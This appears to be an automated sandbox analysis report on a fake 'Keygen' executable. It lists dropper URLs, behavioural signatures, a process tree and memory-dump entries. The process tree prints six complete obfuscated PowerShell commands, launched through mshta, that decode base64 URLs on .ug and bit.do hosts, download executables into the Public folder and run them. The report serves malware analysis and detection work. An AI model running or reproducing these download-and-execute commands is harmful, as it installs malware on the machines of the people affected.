201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
28s
max time network
160s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (107) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

16 2600 powershell.exe
17 2612 powershell.exe
18 2980 powershell.exe
20 2600 powershell.exe
23 2612 powershell.exe
24 2980 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 4 IoCs

Processes:

Keygen.exeghw.exeqrb.exelzx.exe

pid process

4064 Keygen.exe
4816 ghw.exe
4860 qrb.exe
4920 lzx.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3260 timeout.exe
3452 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

flow	pid	process
16	2600	powershell.exe
17	2612	powershell.exe
18	2980	powershell.exe
20	2600	powershell.exe
23	2612	powershell.exe
24	2980	powershell.exe

pid	process
4064	Keygen.exe
4816	ghw.exe
4860	qrb.exe
4920	lzx.exe

pid	process
3260	timeout.exe
3452	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3108	powershell.exe
2612	powershell.exe
2600	powershell.exe
736	powershell.exe
2360	powershell.exe
2980	powershell.exe
2612	powershell.exe
2360	powershell.exe
3108	powershell.exe
736	powershell.exe
2980	powershell.exe
2600	powershell.exe
2980	powershell.exe
2360	powershell.exe
2600	powershell.exe
736	powershell.exe
3108	powershell.exe
2612	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

Keygen.exeqrb.exelzx.exe

pid process

4064 Keygen.exe
4860 qrb.exe
4920 lzx.exe

pid	process
4064	Keygen.exe
4860	qrb.exe
4920	lzx.exe

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

Keygen — копия (107) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exeqrb.exe

description	pid	process	target process
PID 3864 wrote to memory of 2324	3864	Keygen — копия (107) — копия.exe	cmd.exe
PID 3864 wrote to memory of 2324	3864	Keygen — копия (107) — копия.exe	cmd.exe
PID 3864 wrote to memory of 2324	3864	Keygen — копия (107) — копия.exe	cmd.exe
PID 2324 wrote to memory of 4064	2324	cmd.exe	Keygen.exe
PID 2324 wrote to memory of 4064	2324	cmd.exe	Keygen.exe
PID 2324 wrote to memory of 4064	2324	cmd.exe	Keygen.exe
PID 2324 wrote to memory of 3912	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3912	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3912	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1884	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1884	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1884	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3260	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 3260	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 3260	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 1836	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1836	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1836	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3432	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3432	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3432	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 3452	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 3452	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 3452	2324	cmd.exe	timeout.exe
PID 2324 wrote to memory of 2820	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 2820	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 2820	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1960	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1960	2324	cmd.exe	mshta.exe
PID 2324 wrote to memory of 1960	2324	cmd.exe	mshta.exe
PID 1960 wrote to memory of 736	1960	mshta.exe	powershell.exe
PID 1960 wrote to memory of 736	1960	mshta.exe	powershell.exe
PID 1960 wrote to memory of 736	1960	mshta.exe	powershell.exe
PID 1884 wrote to memory of 2360	1884	mshta.exe	powershell.exe
PID 1884 wrote to memory of 2360	1884	mshta.exe	powershell.exe
PID 1884 wrote to memory of 2360	1884	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2980	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2980	1836	mshta.exe	powershell.exe
PID 1836 wrote to memory of 2980	1836	mshta.exe	powershell.exe
PID 3912 wrote to memory of 2600	3912	mshta.exe	powershell.exe
PID 3912 wrote to memory of 2600	3912	mshta.exe	powershell.exe
PID 3912 wrote to memory of 2600	3912	mshta.exe	powershell.exe
PID 2820 wrote to memory of 2612	2820	mshta.exe	powershell.exe
PID 2820 wrote to memory of 2612	2820	mshta.exe	powershell.exe
PID 2820 wrote to memory of 2612	2820	mshta.exe	powershell.exe
PID 3432 wrote to memory of 3108	3432	mshta.exe	powershell.exe
PID 3432 wrote to memory of 3108	3432	mshta.exe	powershell.exe
PID 3432 wrote to memory of 3108	3432	mshta.exe	powershell.exe
PID 2980 wrote to memory of 4816	2980	powershell.exe	ghw.exe
PID 2980 wrote to memory of 4816	2980	powershell.exe	ghw.exe
PID 2980 wrote to memory of 4816	2980	powershell.exe	ghw.exe
PID 2600 wrote to memory of 4860	2600	powershell.exe	qrb.exe
PID 2600 wrote to memory of 4860	2600	powershell.exe	qrb.exe
PID 2600 wrote to memory of 4860	2600	powershell.exe	qrb.exe
PID 2612 wrote to memory of 4920	2612	powershell.exe	lzx.exe
PID 2612 wrote to memory of 4920	2612	powershell.exe	lzx.exe
PID 2612 wrote to memory of 4920	2612	powershell.exe	lzx.exe
PID 4860 wrote to memory of 5000	4860	qrb.exe	FVjhgtresfdbv.exe
PID 4860 wrote to memory of 5000	4860	qrb.exe	FVjhgtresfdbv.exe
PID 4860 wrote to memory of 5000	4860	qrb.exe	FVjhgtresfdbv.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (107) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (107) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (107) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2324

C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4064

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600

C:\Users\Public\qrb.exe
"C:\Users\Public\qrb.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4860

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
PID:5000

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2360

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3260

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980

C:\Users\Public\ghw.exe
"C:\Users\Public\ghw.exe"
5⤵
- Executes dropped EXE
PID:4816

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3452

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612

C:\Users\Public\lzx.exe
"C:\Users\Public\lzx.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4920

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\AA7E.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Public\ghw.exe

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C:\Users\Public\ghw.exe

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C:\Users\Public\lzx.exe

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C:\Users\Public\lzx.exe

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C:\Users\Public\qrb.exe

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C:\Users\Public\qrb.exe

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memory/736-63-0x0000000008130000-0x0000000008131000-memory.dmp

Filesize
4KB

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memory/736-102-0x0000000009990000-0x0000000009991000-memory.dmp

Filesize
4KB

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memory/736-21-0x0000000000000000-mapping.dmp

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memory/736-27-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/1836-12-0x0000000000000000-mapping.dmp

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memory/1884-9-0x0000000000000000-mapping.dmp

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memory/1960-20-0x0000000000000000-mapping.dmp

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memory/2324-0-0x0000000000000000-mapping.dmp

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memory/2360-22-0x0000000000000000-mapping.dmp

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memory/2360-32-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/2360-99-0x0000000008FF0000-0x0000000008FF1000-memory.dmp

Filesize
4KB

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memory/2600-28-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/2600-24-0x0000000000000000-mapping.dmp

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memory/2612-30-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/2612-51-0x0000000007B40000-0x0000000007B41000-memory.dmp

Filesize
4KB

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memory/2612-57-0x0000000007C20000-0x0000000007C21000-memory.dmp

Filesize
4KB

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memory/2612-69-0x0000000007A20000-0x0000000007A21000-memory.dmp

Filesize
4KB

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memory/2612-74-0x0000000008400000-0x0000000008401000-memory.dmp

Filesize
4KB

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memory/2612-25-0x0000000000000000-mapping.dmp

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memory/2820-18-0x0000000000000000-mapping.dmp

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memory/2980-81-0x0000000007FF0000-0x0000000007FF1000-memory.dmp

Filesize
4KB

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memory/2980-87-0x0000000009540000-0x0000000009541000-memory.dmp

Filesize
4KB

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memory/2980-93-0x0000000008CF0000-0x0000000008CF1000-memory.dmp

Filesize
4KB

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memory/2980-31-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/2980-23-0x0000000000000000-mapping.dmp

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memory/3108-105-0x000000000A970000-0x000000000A971000-memory.dmp

Filesize
4KB

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memory/3108-26-0x0000000000000000-mapping.dmp

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memory/3108-45-0x0000000007BE0000-0x0000000007BE1000-memory.dmp

Filesize
4KB

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memory/3108-29-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/3108-33-0x0000000006EA0000-0x0000000006EA1000-memory.dmp

Filesize
4KB

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memory/3108-39-0x0000000007550000-0x0000000007551000-memory.dmp

Filesize
4KB

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memory/3260-10-0x0000000000000000-mapping.dmp

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memory/3432-14-0x0000000000000000-mapping.dmp

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memory/3452-15-0x0000000000000000-mapping.dmp

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memory/3912-6-0x0000000000000000-mapping.dmp

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memory/4064-3-0x0000000000000000-mapping.dmp

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memory/4064-2-0x0000000000000000-mapping.dmp

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memory/4816-120-0x0000000070A70000-0x000000007115E000-memory.dmp

Filesize
6.9MB

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memory/4816-124-0x00000000003B0000-0x00000000003B1000-memory.dmp

Filesize
4KB

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memory/4816-116-0x0000000000000000-mapping.dmp

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memory/4860-121-0x0000000000000000-mapping.dmp

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memory/4920-130-0x0000000000000000-mapping.dmp

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